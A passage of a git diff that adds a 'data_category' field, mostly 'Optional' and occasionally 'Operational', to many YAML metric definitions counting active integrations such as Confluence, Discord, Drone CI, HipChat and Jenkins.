diff --git a/config/metrics/counts_all/20210216175734_templates_confluence_active.yml b/config/metrics/counts_all/20210216175734_templates_confluence_active.yml
index 88889827cd5..8f94952cc10 100644
--- a/config/metrics/counts_all/20210216175734_templates_confluence_active.yml
+++ b/config/metrics/counts_all/20210216175734_templates_confluence_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_confluence_active
description: Count of active service templates for Confluence
product_section: dev
diff --git a/config/metrics/counts_all/20210216175736_instances_confluence_active.yml b/config/metrics/counts_all/20210216175736_instances_confluence_active.yml
index 6a441e394b8..f2628ced407 100644
--- a/config/metrics/counts_all/20210216175736_instances_confluence_active.yml
+++ b/config/metrics/counts_all/20210216175736_instances_confluence_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_confluence_active
description: Count of active instance-level integrations for Confluence
product_section: dev
diff --git a/config/metrics/counts_all/20210216175738_projects_inheriting_confluence_active.yml b/config/metrics/counts_all/20210216175738_projects_inheriting_confluence_active.yml
index e94deefbe4f..a70966d46a0 100644
--- a/config/metrics/counts_all/20210216175738_projects_inheriting_confluence_active.yml
+++ b/config/metrics/counts_all/20210216175738_projects_inheriting_confluence_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_confluence_active
description: Count of active projects inheriting integrations for Confluence
product_section: dev
diff --git a/config/metrics/counts_all/20210216175740_groups_inheriting_confluence_active.yml b/config/metrics/counts_all/20210216175740_groups_inheriting_confluence_active.yml
index a73868e398b..95c6a39294b 100644
--- a/config/metrics/counts_all/20210216175740_groups_inheriting_confluence_active.yml
+++ b/config/metrics/counts_all/20210216175740_groups_inheriting_confluence_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_confluence_active
description: Count of active groups inheriting integrations for Confluence
product_section: dev
diff --git a/config/metrics/counts_all/20210216175742_projects_custom_issue_tracker_active.yml b/config/metrics/counts_all/20210216175742_projects_custom_issue_tracker_active.yml
index 891bbb33777..fbb968ad54d 100644
--- a/config/metrics/counts_all/20210216175742_projects_custom_issue_tracker_active.yml
+++ b/config/metrics/counts_all/20210216175742_projects_custom_issue_tracker_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_custom_issue_tracker_active
description: Count of projects with active integrations for a Custom Issue Tracker
product_section: dev
diff --git a/config/metrics/counts_all/20210216175744_groups_custom_issue_tracker_active.yml b/config/metrics/counts_all/20210216175744_groups_custom_issue_tracker_active.yml
index 6abbcb5554b..8345051c503 100644
--- a/config/metrics/counts_all/20210216175744_groups_custom_issue_tracker_active.yml
+++ b/config/metrics/counts_all/20210216175744_groups_custom_issue_tracker_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_custom_issue_tracker_active
description: Count of groups with active integrations for a Custom Issue Tracker
product_section: dev
diff --git a/config/metrics/counts_all/20210216175745_templates_custom_issue_tracker_active.yml b/config/metrics/counts_all/20210216175745_templates_custom_issue_tracker_active.yml
index 59eb025f651..f9ef9d86fd4 100644
--- a/config/metrics/counts_all/20210216175745_templates_custom_issue_tracker_active.yml
+++ b/config/metrics/counts_all/20210216175745_templates_custom_issue_tracker_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_custom_issue_tracker_active
description: Count of active service templates for a Custom Issue Tracker
product_section: dev
diff --git a/config/metrics/counts_all/20210216175747_instances_custom_issue_tracker_active.yml b/config/metrics/counts_all/20210216175747_instances_custom_issue_tracker_active.yml
index 364f8ce53bb..dfc66da3950 100644
--- a/config/metrics/counts_all/20210216175747_instances_custom_issue_tracker_active.yml
+++ b/config/metrics/counts_all/20210216175747_instances_custom_issue_tracker_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_custom_issue_tracker_active
description: Count of active instance-level integrations for a Custom Issue Tracker
product_section: dev
diff --git a/config/metrics/counts_all/20210216175749_projects_inheriting_custom_issue_tracker_active.yml b/config/metrics/counts_all/20210216175749_projects_inheriting_custom_issue_tracker_active.yml
index 6df170a48e0..4df6406a9e2 100644
--- a/config/metrics/counts_all/20210216175749_projects_inheriting_custom_issue_tracker_active.yml
+++ b/config/metrics/counts_all/20210216175749_projects_inheriting_custom_issue_tracker_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_custom_issue_tracker_active
description: Count of active projects inheriting integrations for a Custom Issue Tracker
product_section: dev
diff --git a/config/metrics/counts_all/20210216175751_groups_inheriting_custom_issue_tracker_active.yml b/config/metrics/counts_all/20210216175751_groups_inheriting_custom_issue_tracker_active.yml
index f4dc9dcbc72..d87dc02e454 100644
--- a/config/metrics/counts_all/20210216175751_groups_inheriting_custom_issue_tracker_active.yml
+++ b/config/metrics/counts_all/20210216175751_groups_inheriting_custom_issue_tracker_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_custom_issue_tracker_active
description: Count of active groups inheriting integrations for a Custom Issue Tracker
product_section: dev
diff --git a/config/metrics/counts_all/20210216175753_projects_discord_active.yml b/config/metrics/counts_all/20210216175753_projects_discord_active.yml
index b564bc70e73..8b122d78760 100644
--- a/config/metrics/counts_all/20210216175753_projects_discord_active.yml
+++ b/config/metrics/counts_all/20210216175753_projects_discord_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_discord_active
description: Count of projects with active integrations for Discord
product_section: dev
diff --git a/config/metrics/counts_all/20210216175755_groups_discord_active.yml b/config/metrics/counts_all/20210216175755_groups_discord_active.yml
index fb24c471210..f00f412dd4e 100644
--- a/config/metrics/counts_all/20210216175755_groups_discord_active.yml
+++ b/config/metrics/counts_all/20210216175755_groups_discord_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_discord_active
description: Count of groups with active integrations for Discord
product_section: dev
diff --git a/config/metrics/counts_all/20210216175756_templates_discord_active.yml b/config/metrics/counts_all/20210216175756_templates_discord_active.yml
index e5a1082ca20..116bd46a26c 100644
--- a/config/metrics/counts_all/20210216175756_templates_discord_active.yml
+++ b/config/metrics/counts_all/20210216175756_templates_discord_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_discord_active
description: Count of active service templates for Discord
product_section: dev
diff --git a/config/metrics/counts_all/20210216175758_instances_discord_active.yml b/config/metrics/counts_all/20210216175758_instances_discord_active.yml
index 039919523fe..4220913f486 100644
--- a/config/metrics/counts_all/20210216175758_instances_discord_active.yml
+++ b/config/metrics/counts_all/20210216175758_instances_discord_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_discord_active
description: Count of active instance-level integrations for Discord
product_section: dev
diff --git a/config/metrics/counts_all/20210216175800_projects_inheriting_discord_active.yml b/config/metrics/counts_all/20210216175800_projects_inheriting_discord_active.yml
index b897c248629..7f7adba910a 100644
--- a/config/metrics/counts_all/20210216175800_projects_inheriting_discord_active.yml
+++ b/config/metrics/counts_all/20210216175800_projects_inheriting_discord_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_discord_active
description: Count of active projects inheriting integrations for Discord
product_section: dev
diff --git a/config/metrics/counts_all/20210216175802_groups_inheriting_discord_active.yml b/config/metrics/counts_all/20210216175802_groups_inheriting_discord_active.yml
index 3cdb961ba2f..3a30d9edc81 100644
--- a/config/metrics/counts_all/20210216175802_groups_inheriting_discord_active.yml
+++ b/config/metrics/counts_all/20210216175802_groups_inheriting_discord_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_discord_active
description: Count of active groups inheriting integrations for Discord
product_section: dev
diff --git a/config/metrics/counts_all/20210216175804_projects_drone_ci_active.yml b/config/metrics/counts_all/20210216175804_projects_drone_ci_active.yml
index cd9459478db..73c20fe6c7f 100644
--- a/config/metrics/counts_all/20210216175804_projects_drone_ci_active.yml
+++ b/config/metrics/counts_all/20210216175804_projects_drone_ci_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.projects_drone_ci_active
description: Count of projects with active integrations for Drone CI
product_section: dev
diff --git a/config/metrics/counts_all/20210216175806_groups_drone_ci_active.yml b/config/metrics/counts_all/20210216175806_groups_drone_ci_active.yml
index c5487775c57..d663e7cce1d 100644
--- a/config/metrics/counts_all/20210216175806_groups_drone_ci_active.yml
+++ b/config/metrics/counts_all/20210216175806_groups_drone_ci_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_drone_ci_active
description: Count of groups with active integrations for Drone CI
product_section: dev
diff --git a/config/metrics/counts_all/20210216175807_templates_drone_ci_active.yml b/config/metrics/counts_all/20210216175807_templates_drone_ci_active.yml
index 09ac9cacefa..deec873fe42 100644
--- a/config/metrics/counts_all/20210216175807_templates_drone_ci_active.yml
+++ b/config/metrics/counts_all/20210216175807_templates_drone_ci_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_drone_ci_active
description: Count of active service templates for Drone CI
product_section: dev
diff --git a/config/metrics/counts_all/20210216175809_instances_drone_ci_active.yml b/config/metrics/counts_all/20210216175809_instances_drone_ci_active.yml
index c3a77a9c577..7e0b4cdf5c3 100644
--- a/config/metrics/counts_all/20210216175809_instances_drone_ci_active.yml
+++ b/config/metrics/counts_all/20210216175809_instances_drone_ci_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_drone_ci_active
description: Count of active instance-level integrations for Drone CI
product_section: dev
diff --git a/config/metrics/counts_all/20210216175811_projects_inheriting_drone_ci_active.yml b/config/metrics/counts_all/20210216175811_projects_inheriting_drone_ci_active.yml
index 130072f42d1..9e180a77a1a 100644
--- a/config/metrics/counts_all/20210216175811_projects_inheriting_drone_ci_active.yml
+++ b/config/metrics/counts_all/20210216175811_projects_inheriting_drone_ci_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_drone_ci_active
description: Count of active projects inheriting integrations for Drone CI
product_section: dev
diff --git a/config/metrics/counts_all/20210216175813_groups_inheriting_drone_ci_active.yml b/config/metrics/counts_all/20210216175813_groups_inheriting_drone_ci_active.yml
index 74e6d5c41bd..2a988b3f3bd 100644
--- a/config/metrics/counts_all/20210216175813_groups_inheriting_drone_ci_active.yml
+++ b/config/metrics/counts_all/20210216175813_groups_inheriting_drone_ci_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_drone_ci_active
description: Count of active groups inheriting integrations for Drone CI
product_section: dev
diff --git a/config/metrics/counts_all/20210216175815_projects_emails_on_push_active.yml b/config/metrics/counts_all/20210216175815_projects_emails_on_push_active.yml
index 8da08899b88..8b45d688c7e 100644
--- a/config/metrics/counts_all/20210216175815_projects_emails_on_push_active.yml
+++ b/config/metrics/counts_all/20210216175815_projects_emails_on_push_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_emails_on_push_active
description: Count of projects with active integrations for Emails on Push
product_section: dev
diff --git a/config/metrics/counts_all/20210216175817_groups_emails_on_push_active.yml b/config/metrics/counts_all/20210216175817_groups_emails_on_push_active.yml
index 0c6bdeae9b4..395cdca2097 100644
--- a/config/metrics/counts_all/20210216175817_groups_emails_on_push_active.yml
+++ b/config/metrics/counts_all/20210216175817_groups_emails_on_push_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_emails_on_push_active
description: Count of groups with active integrations for Emails on Push
product_section: dev
diff --git a/config/metrics/counts_all/20210216175818_templates_emails_on_push_active.yml b/config/metrics/counts_all/20210216175818_templates_emails_on_push_active.yml
index 93d77a19008..0b8ded80750 100644
--- a/config/metrics/counts_all/20210216175818_templates_emails_on_push_active.yml
+++ b/config/metrics/counts_all/20210216175818_templates_emails_on_push_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_emails_on_push_active
description: Count of active service templates for Emails on Push
product_section: dev
diff --git a/config/metrics/counts_all/20210216175820_instances_emails_on_push_active.yml b/config/metrics/counts_all/20210216175820_instances_emails_on_push_active.yml
index c526b9f18e9..bbd1e8352a8 100644
--- a/config/metrics/counts_all/20210216175820_instances_emails_on_push_active.yml
+++ b/config/metrics/counts_all/20210216175820_instances_emails_on_push_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_emails_on_push_active
description: Count of active instance-level integrations for Emails on Push
product_section: dev
diff --git a/config/metrics/counts_all/20210216175822_projects_inheriting_emails_on_push_active.yml b/config/metrics/counts_all/20210216175822_projects_inheriting_emails_on_push_active.yml
index 02581759ec3..a7c697c42bc 100644
--- a/config/metrics/counts_all/20210216175822_projects_inheriting_emails_on_push_active.yml
+++ b/config/metrics/counts_all/20210216175822_projects_inheriting_emails_on_push_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_emails_on_push_active
description: Count of active projects inheriting integrations for Emails on Push
product_section: dev
diff --git a/config/metrics/counts_all/20210216175824_groups_inheriting_emails_on_push_active.yml b/config/metrics/counts_all/20210216175824_groups_inheriting_emails_on_push_active.yml
index a49c9a88048..921c3b93f63 100644
--- a/config/metrics/counts_all/20210216175824_groups_inheriting_emails_on_push_active.yml
+++ b/config/metrics/counts_all/20210216175824_groups_inheriting_emails_on_push_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_emails_on_push_active
description: Count of active groups inheriting integrations for Emails on Push
product_section: dev
diff --git a/config/metrics/counts_all/20210216175826_projects_external_wiki_active.yml b/config/metrics/counts_all/20210216175826_projects_external_wiki_active.yml
index fa19cf0e9be..5a0eacc0c14 100644
--- a/config/metrics/counts_all/20210216175826_projects_external_wiki_active.yml
+++ b/config/metrics/counts_all/20210216175826_projects_external_wiki_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_external_wiki_active
description: Count of projects with active integrations for External Wiki
product_section: dev
diff --git a/config/metrics/counts_all/20210216175828_groups_external_wiki_active.yml b/config/metrics/counts_all/20210216175828_groups_external_wiki_active.yml
index 6ee99ca89da..230ed723a54 100644
--- a/config/metrics/counts_all/20210216175828_groups_external_wiki_active.yml
+++ b/config/metrics/counts_all/20210216175828_groups_external_wiki_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_external_wiki_active
description: Count of groups with active integrations for External Wiki
product_section: dev
diff --git a/config/metrics/counts_all/20210216175829_templates_external_wiki_active.yml b/config/metrics/counts_all/20210216175829_templates_external_wiki_active.yml
index 6d8b451b308..8c20f6fa5c6 100644
--- a/config/metrics/counts_all/20210216175829_templates_external_wiki_active.yml
+++ b/config/metrics/counts_all/20210216175829_templates_external_wiki_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_external_wiki_active
description: Count of active service templates for External Wiki
product_section: dev
diff --git a/config/metrics/counts_all/20210216175831_instances_external_wiki_active.yml b/config/metrics/counts_all/20210216175831_instances_external_wiki_active.yml
index a83e2f27a58..621535489a9 100644
--- a/config/metrics/counts_all/20210216175831_instances_external_wiki_active.yml
+++ b/config/metrics/counts_all/20210216175831_instances_external_wiki_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_external_wiki_active
description: Count of active instance-level integrations for External Wiki
product_section: dev
diff --git a/config/metrics/counts_all/20210216175833_projects_inheriting_external_wiki_active.yml b/config/metrics/counts_all/20210216175833_projects_inheriting_external_wiki_active.yml
index 84836a95ae3..86a1a766671 100644
--- a/config/metrics/counts_all/20210216175833_projects_inheriting_external_wiki_active.yml
+++ b/config/metrics/counts_all/20210216175833_projects_inheriting_external_wiki_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_external_wiki_active
description: Count of active projects inheriting integrations for External Wiki
product_section: dev
diff --git a/config/metrics/counts_all/20210216175835_groups_inheriting_external_wiki_active.yml b/config/metrics/counts_all/20210216175835_groups_inheriting_external_wiki_active.yml
index f7ee7624824..06105bbd524 100644
--- a/config/metrics/counts_all/20210216175835_groups_inheriting_external_wiki_active.yml
+++ b/config/metrics/counts_all/20210216175835_groups_inheriting_external_wiki_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_external_wiki_active
description: Count of active groups inheriting integrations for External Wiki
product_section: dev
diff --git a/config/metrics/counts_all/20210216175837_projects_flowdock_active.yml b/config/metrics/counts_all/20210216175837_projects_flowdock_active.yml
index 4520ef6b869..ea0a59427bc 100644
--- a/config/metrics/counts_all/20210216175837_projects_flowdock_active.yml
+++ b/config/metrics/counts_all/20210216175837_projects_flowdock_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_flowdock_active
description: Count of projects with active integrations for Flowdock
product_section: dev
diff --git a/config/metrics/counts_all/20210216175839_groups_flowdock_active.yml b/config/metrics/counts_all/20210216175839_groups_flowdock_active.yml
index d678e3174df..17796bfe960 100644
--- a/config/metrics/counts_all/20210216175839_groups_flowdock_active.yml
+++ b/config/metrics/counts_all/20210216175839_groups_flowdock_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_flowdock_active
description: Count of groups with active integrations for Flowdock
product_section: dev
diff --git a/config/metrics/counts_all/20210216175840_templates_flowdock_active.yml b/config/metrics/counts_all/20210216175840_templates_flowdock_active.yml
index f4765aa34f3..5934b7ac573 100644
--- a/config/metrics/counts_all/20210216175840_templates_flowdock_active.yml
+++ b/config/metrics/counts_all/20210216175840_templates_flowdock_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_flowdock_active
description: Count of active service templates for Flowdock
product_section: dev
diff --git a/config/metrics/counts_all/20210216175842_instances_flowdock_active.yml b/config/metrics/counts_all/20210216175842_instances_flowdock_active.yml
index 89a862d4cc8..816c14b8c9d 100644
--- a/config/metrics/counts_all/20210216175842_instances_flowdock_active.yml
+++ b/config/metrics/counts_all/20210216175842_instances_flowdock_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_flowdock_active
description: Count of active instance-level integrations for Flowdock
product_section: dev
diff --git a/config/metrics/counts_all/20210216175844_projects_inheriting_flowdock_active.yml b/config/metrics/counts_all/20210216175844_projects_inheriting_flowdock_active.yml
index 836ecbc0576..c7d1e8b2c8e 100644
--- a/config/metrics/counts_all/20210216175844_projects_inheriting_flowdock_active.yml
+++ b/config/metrics/counts_all/20210216175844_projects_inheriting_flowdock_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_flowdock_active
description: Count of active projects inheriting integrations for Flowdock
product_section: dev
diff --git a/config/metrics/counts_all/20210216175846_groups_inheriting_flowdock_active.yml b/config/metrics/counts_all/20210216175846_groups_inheriting_flowdock_active.yml
index 8af2e0733ac..c0ba0088c16 100644
--- a/config/metrics/counts_all/20210216175846_groups_inheriting_flowdock_active.yml
+++ b/config/metrics/counts_all/20210216175846_groups_inheriting_flowdock_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_flowdock_active
description: Count of active groups inheriting integrations for Flowdock
product_section: dev
diff --git a/config/metrics/counts_all/20210216175859_projects_hangouts_chat_active.yml b/config/metrics/counts_all/20210216175859_projects_hangouts_chat_active.yml
index 63c913a65a0..86dfd299126 100644
--- a/config/metrics/counts_all/20210216175859_projects_hangouts_chat_active.yml
+++ b/config/metrics/counts_all/20210216175859_projects_hangouts_chat_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_hangouts_chat_active
description: Count of projects with active integrations for Hangouts Chat
product_section: dev
diff --git a/config/metrics/counts_all/20210216175901_groups_hangouts_chat_active.yml b/config/metrics/counts_all/20210216175901_groups_hangouts_chat_active.yml
index ae34972f2e9..24e3c0fc0ef 100644
--- a/config/metrics/counts_all/20210216175901_groups_hangouts_chat_active.yml
+++ b/config/metrics/counts_all/20210216175901_groups_hangouts_chat_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_hangouts_chat_active
description: Count of groups with active integrations for Hangouts Chat
product_section: dev
diff --git a/config/metrics/counts_all/20210216175902_templates_hangouts_chat_active.yml b/config/metrics/counts_all/20210216175902_templates_hangouts_chat_active.yml
index ecfffa98a04..70da2527614 100644
--- a/config/metrics/counts_all/20210216175902_templates_hangouts_chat_active.yml
+++ b/config/metrics/counts_all/20210216175902_templates_hangouts_chat_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_hangouts_chat_active
description: Count of active service templates for Hangouts Chat
product_section: dev
diff --git a/config/metrics/counts_all/20210216175904_instances_hangouts_chat_active.yml b/config/metrics/counts_all/20210216175904_instances_hangouts_chat_active.yml
index 5227013eb51..b89f32c3c95 100644
--- a/config/metrics/counts_all/20210216175904_instances_hangouts_chat_active.yml
+++ b/config/metrics/counts_all/20210216175904_instances_hangouts_chat_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_hangouts_chat_active
description: Count of active instance-level integrations for Hangouts Chat
product_section: dev
diff --git a/config/metrics/counts_all/20210216175906_projects_inheriting_hangouts_chat_active.yml b/config/metrics/counts_all/20210216175906_projects_inheriting_hangouts_chat_active.yml
index 64e54c864bd..a2fc27b6fbd 100644
--- a/config/metrics/counts_all/20210216175906_projects_inheriting_hangouts_chat_active.yml
+++ b/config/metrics/counts_all/20210216175906_projects_inheriting_hangouts_chat_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_hangouts_chat_active
description: Count of active projects inheriting integrations for Hangouts Chat
product_section: dev
diff --git a/config/metrics/counts_all/20210216175908_groups_inheriting_hangouts_chat_active.yml b/config/metrics/counts_all/20210216175908_groups_inheriting_hangouts_chat_active.yml
index 3889c6e9a10..e46c6482dea 100644
--- a/config/metrics/counts_all/20210216175908_groups_inheriting_hangouts_chat_active.yml
+++ b/config/metrics/counts_all/20210216175908_groups_inheriting_hangouts_chat_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_hangouts_chat_active
description: Count of active groups inheriting integrations for Hangouts Chat
product_section: dev
diff --git a/config/metrics/counts_all/20210216175910_projects_hipchat_active.yml b/config/metrics/counts_all/20210216175910_projects_hipchat_active.yml
index e6b0c781cb5..799521be83c 100644
--- a/config/metrics/counts_all/20210216175910_projects_hipchat_active.yml
+++ b/config/metrics/counts_all/20210216175910_projects_hipchat_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_hipchat_active
description: Count of projects with active integrations for HipChat
product_section: dev
diff --git a/config/metrics/counts_all/20210216175912_groups_hipchat_active.yml b/config/metrics/counts_all/20210216175912_groups_hipchat_active.yml
index 4a55850b70d..c354a3ad03d 100644
--- a/config/metrics/counts_all/20210216175912_groups_hipchat_active.yml
+++ b/config/metrics/counts_all/20210216175912_groups_hipchat_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_hipchat_active
description: Count of groups with active integrations for HipChat
product_section: dev
diff --git a/config/metrics/counts_all/20210216175913_templates_hipchat_active.yml b/config/metrics/counts_all/20210216175913_templates_hipchat_active.yml
index d022ac8261d..18612ed28ea 100644
--- a/config/metrics/counts_all/20210216175913_templates_hipchat_active.yml
+++ b/config/metrics/counts_all/20210216175913_templates_hipchat_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_hipchat_active
description: Count of active service templates for HipChat
product_section: dev
diff --git a/config/metrics/counts_all/20210216175915_instances_hipchat_active.yml b/config/metrics/counts_all/20210216175915_instances_hipchat_active.yml
index c5460aecb21..225c0ce8493 100644
--- a/config/metrics/counts_all/20210216175915_instances_hipchat_active.yml
+++ b/config/metrics/counts_all/20210216175915_instances_hipchat_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_hipchat_active
description: Count of active instance-level integrations for HipChat
product_section: dev
diff --git a/config/metrics/counts_all/20210216175917_projects_inheriting_hipchat_active.yml b/config/metrics/counts_all/20210216175917_projects_inheriting_hipchat_active.yml
index 5056947f70f..e87f2c43338 100644
--- a/config/metrics/counts_all/20210216175917_projects_inheriting_hipchat_active.yml
+++ b/config/metrics/counts_all/20210216175917_projects_inheriting_hipchat_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_hipchat_active
description: Count of active projects inheriting integrations for HipChat
product_section: dev
diff --git a/config/metrics/counts_all/20210216175919_groups_inheriting_hipchat_active.yml b/config/metrics/counts_all/20210216175919_groups_inheriting_hipchat_active.yml
index 2069d8d703b..9092c8d7643 100644
--- a/config/metrics/counts_all/20210216175919_groups_inheriting_hipchat_active.yml
+++ b/config/metrics/counts_all/20210216175919_groups_inheriting_hipchat_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_hipchat_active
description: Count of active groups inheriting integrations for HipChat
product_section: dev
diff --git a/config/metrics/counts_all/20210216175921_projects_irker_active.yml b/config/metrics/counts_all/20210216175921_projects_irker_active.yml
index d761968d629..f3f1a2e0c60 100644
--- a/config/metrics/counts_all/20210216175921_projects_irker_active.yml
+++ b/config/metrics/counts_all/20210216175921_projects_irker_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_irker_active
description: Count of projects with active integrations for Irker
product_section: dev
diff --git a/config/metrics/counts_all/20210216175923_groups_irker_active.yml b/config/metrics/counts_all/20210216175923_groups_irker_active.yml
index caa1d1eae8c..f4ce06c3f46 100644
--- a/config/metrics/counts_all/20210216175923_groups_irker_active.yml
+++ b/config/metrics/counts_all/20210216175923_groups_irker_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_irker_active
description: Count of groups with active integrations for Irker
product_section: dev
diff --git a/config/metrics/counts_all/20210216175924_templates_irker_active.yml b/config/metrics/counts_all/20210216175924_templates_irker_active.yml
index e3d8b04f66c..f8e0543e255 100644
--- a/config/metrics/counts_all/20210216175924_templates_irker_active.yml
+++ b/config/metrics/counts_all/20210216175924_templates_irker_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_irker_active
description: Count of active service templates for Irker
product_section: dev
diff --git a/config/metrics/counts_all/20210216175926_instances_irker_active.yml b/config/metrics/counts_all/20210216175926_instances_irker_active.yml
index b6a7a07e83f..0a47027beac 100644
--- a/config/metrics/counts_all/20210216175926_instances_irker_active.yml
+++ b/config/metrics/counts_all/20210216175926_instances_irker_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_irker_active
description: Count of active instance-level integrations for Irker
product_section: dev
diff --git a/config/metrics/counts_all/20210216175928_projects_inheriting_irker_active.yml b/config/metrics/counts_all/20210216175928_projects_inheriting_irker_active.yml
index 2a140890847..5c7436821f4 100644
--- a/config/metrics/counts_all/20210216175928_projects_inheriting_irker_active.yml
+++ b/config/metrics/counts_all/20210216175928_projects_inheriting_irker_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_irker_active
description: Count of active projects inheriting integrations for Irker
product_section: dev
diff --git a/config/metrics/counts_all/20210216175930_groups_inheriting_irker_active.yml b/config/metrics/counts_all/20210216175930_groups_inheriting_irker_active.yml
index 4d023a1324c..5ea531dec90 100644
--- a/config/metrics/counts_all/20210216175930_groups_inheriting_irker_active.yml
+++ b/config/metrics/counts_all/20210216175930_groups_inheriting_irker_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_irker_active
description: Count of active groups inheriting integrations for Irker
product_section: dev
diff --git a/config/metrics/counts_all/20210216175932_projects_jenkins_active.yml b/config/metrics/counts_all/20210216175932_projects_jenkins_active.yml
index 5562d5b3462..b294ccfec1b 100644
--- a/config/metrics/counts_all/20210216175932_projects_jenkins_active.yml
+++ b/config/metrics/counts_all/20210216175932_projects_jenkins_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.projects_jenkins_active
description: Count of projects with active integrations for Jenkins
product_section: dev
diff --git a/config/metrics/counts_all/20210216175934_groups_jenkins_active.yml b/config/metrics/counts_all/20210216175934_groups_jenkins_active.yml
index 08617343a10..2c5223c9d32 100644
--- a/config/metrics/counts_all/20210216175934_groups_jenkins_active.yml
+++ b/config/metrics/counts_all/20210216175934_groups_jenkins_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_jenkins_active
description: Count of groups with active integrations for Jenkins
product_section: dev
diff --git a/config/metrics/counts_all/20210216175935_templates_jenkins_active.yml b/config/metrics/counts_all/20210216175935_templates_jenkins_active.yml
index 13f0d1547ad..6817fc10cdb 100644
--- a/config/metrics/counts_all/20210216175935_templates_jenkins_active.yml
+++ b/config/metrics/counts_all/20210216175935_templates_jenkins_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_jenkins_active
description: Count of active service templates for Jenkins
product_section: dev
diff --git a/config/metrics/counts_all/20210216175937_instances_jenkins_active.yml b/config/metrics/counts_all/20210216175937_instances_jenkins_active.yml
index 8b03256b5ce..dd8c64e551a 100644
--- a/config/metrics/counts_all/20210216175937_instances_jenkins_active.yml
+++ b/config/metrics/counts_all/20210216175937_instances_jenkins_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_jenkins_active
description: Count of active instance-level integrations for Jenkins
product_section: dev
diff --git a/config/metrics/counts_all/20210216175939_projects_inheriting_jenkins_active.yml b/config/metrics/counts_all/20210216175939_projects_inheriting_jenkins_active.yml
index 8726b9bbfb7..855a66e0683 100644
